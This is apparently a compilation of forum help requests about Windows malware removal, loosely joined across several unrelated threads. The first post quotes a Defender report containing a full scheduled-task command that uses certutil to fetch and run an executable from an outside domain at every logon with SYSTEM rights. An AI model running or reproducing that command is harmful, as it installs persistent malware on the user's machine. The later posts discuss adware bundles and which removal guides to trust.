    Please help - Malware inserted into SCHTASKS - I cannot remove it.


    I am not a tech - I am 77 and cannot afford to have my computer repaired. Somehow I picked up this malware amongst a ton of other malware when I visited a sick site !!


    This is what it says via Defender Report ;


    admin prompt


    C:\Windows\System32\schtasks.exe /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR cmd.exe /C certutil.exe -urlcache -split -fhttps://gfixprice.space/app/app.exe C:\Users\Seebert\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Seebert\AppData\Local\Temp\csrss\scheduled.exe /31340 /TN ScheduledUpdate /F


    I have tried MBAM and various other programs but they do nothing. They show the malware but will not remove it.


    Would anyone be kind enough to type out what I would put into Admin CMD prompt to either remove or disable this totally destructive malware. It runs every time I start up, Defender announces it but cannot do anything about it. I have no training in IT and will be hugely grateful for any help.


    Thanks, Mike.

    :)

    Best way to remove problem Malware

    Hi There,

    I am trying to remove a bundle of Malware without success.

    There is a bundle of listed programs which I try to uninstall through the typical Control Panel effort, but they remain listed there:

    Buenosearch Toolbar
    MyPC Backup
    PC Performer
    Speed Test 127
    UnknownFile

    I was looking at this weblink which provides a 5 step process for Buenosearch alone:
    Remove Bueno Search (Removal Guide)

    Not sure how much certain guides can be trusted. One of the first things I read was to download Revo Uninstaller, and I've not heard of it so I'm not sure if it's trustworthy..........

    removal of sidecubes malware

    Do not get SpyHunter. It's just as bad as the malware you have,

    Follow the steps here.

    Remove SideCubes Search (Virus Removal Guide)

    If it is not listed in the Control Panel, or it can't be removed there, move on to step 2. HitmanPro might not be needed.

    Malware removal


    Understood, OldMike. I will keep your suggestion in mind. I always appreciate suggestions from those who know more than I do. I think the Malware did do more than one scan, because I had to approve removal of what it found twice. I don't see Windows Defender on the list of programs. I think it was on there before they redid the software. Pluto TV also disappeared.
